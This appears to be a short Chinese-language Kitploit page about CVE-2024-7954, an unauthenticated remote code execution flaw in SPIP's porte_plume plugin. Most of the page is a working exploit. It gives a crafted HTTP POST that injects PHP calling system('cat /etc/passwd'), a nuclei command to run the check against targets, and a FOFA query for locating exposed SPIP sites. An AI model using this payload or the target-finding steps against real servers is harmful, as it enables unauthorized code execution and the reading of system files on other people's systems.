CVE-2024-7954-RCE — SPIP 4.2.12及更早版本中的未认证远程代码执行漏洞 | Kitploit

CVE-2024-7954-RCE — SPIP 4.2.12及更早版本中的未认证远程代码执行漏洞 | Kitploit

描述

SPIP 4.30-alpha2、4.2.13 和 4.1.16 之前版本使用的 porte_plume 插件存在任意代码执行漏洞。远程未认证攻击者可通过发送特制的 HTTP 请求，以 SPIP 用户身份执行任意 PHP 代码。

漏洞利用（概念验证）

POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

使用方法

nuclei --target {host.com} -t CVE-2024-7954.yaml

FOFA 查询

app="SPIP"

参考